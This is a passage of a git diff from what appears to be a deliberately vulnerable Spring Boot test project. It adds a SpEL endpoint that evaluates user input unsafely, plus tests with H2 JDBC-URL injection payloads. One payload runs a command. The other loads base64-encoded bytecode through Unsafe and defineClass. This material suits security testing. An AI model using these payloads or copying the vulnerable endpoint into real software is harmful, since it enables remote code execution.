org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/spel") +public class SpELController { + + /** + * 10000 长度限制,无法使用 + */ + @PostMapping + public ResponseEntity spel(String data) { + return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext()))); + } +} diff --git a/vul/vul-springboot4/src/main/resources/application.properties b/vul/vul-springboot4/src/main/resources/application.properties new file mode 100644 index 00000000..330e4c5d --- /dev/null +++ b/vul/vul-springboot4/src/main/resources/application.properties @@ -0,0 +1 @@ +spring.application.name=vul-springboot4 diff --git a/vul/vul-springboot4/src/test/java/CommandExec.java b/vul/vul-springboot4/src/test/java/CommandExec.java new file mode 100644 index 00000000..c708f1b2 --- /dev/null +++ b/vul/vul-springboot4/src/test/java/CommandExec.java @@ -0,0 +1,15 @@ +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +public class CommandExec { + static { + try { + java.lang.Runtime.getRuntime().exec("open -a Calculator"); + } catch (IOException e) { + + } + } +} diff --git a/vul/vul-springboot4/src/test/java/JDBCTest.java b/vul/vul-springboot4/src/test/java/JDBCTest.java new file mode 100644 index 00000000..fd402efc --- /dev/null +++ b/vul/vul-springboot4/src/test/java/JDBCTest.java @@ -0,0 +1,54 @@ +import com.reajason.javaweb.vul.springboot4.controller.JDBCController; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +public class JDBCTest { + + @Test + void testJDBC() throws Exception { + JDBCController jdbcController = new JDBCController(); + String funcionName = "testJDBC"; + String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS " + funcionName + " AS '" + + "String shellexec(String abc) throws java.lang.Exception{" + + "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\\;" + + "return \"test\"\\;" + + "}'\\;" + + "CALL " + funcionName + "('123')"; + jdbcController.JDBC(str); + } + + @Test + void testJDBC2() throws Exception { + JDBCController jdbcController = new JDBCController(); + String b64Bytecode = "yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAFgEAC0NvbW1hbmRFeGVjAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MQ29tbWFuZEV4ZWM7AQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEAEENvbW1hbmRFeGVjLmphdmEAIQAVAAIAAAAAAAIAAQAFAAYAAQAXAAAALwABAAEAAAAFKrcAAbEAAAACABgAAAAGAAEAAAAHABkAAAAMAAEAAAAFABoAGwAAAAgAHAAGAAEAFwAAAE8AAgABAAAADrgABxINtgAPV6cABEuxAAEAAAAJAAwAEwADABgAAAASAAQAAAAKAAkADQAMAAsADQAOABkAAAACAAAAHQAAAAcAAkwHABMAAAEAHgAAAAIAHw=="; + String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" + + "String a(String a) throws java.lang.Throwable{" + + "String base64Str=\"" + b64Bytecode + "\"\\;" + + "byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" + + "try {" + + " java.lang.Class unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" + + " java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" + + " unsafeField.setAccessible(true)\\;" + + " java.lang.Object unsafe = unsafeField.get(null)\\;" + + " java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" + + " java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" + + " long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" + + " java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" + + " java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" + + " java.lang.Class callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" + + " getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" + + "} catch (Throwable e) {}" + + "java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" + + "defMethod.setAccessible(true)\\;" + + "java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" + + "myclass.newInstance()\\;" + + "return null\\;" + + "}'\\;" + + "CALL look('')"; + System.out.println(str); + jdbcController.JDBC(str); + } +}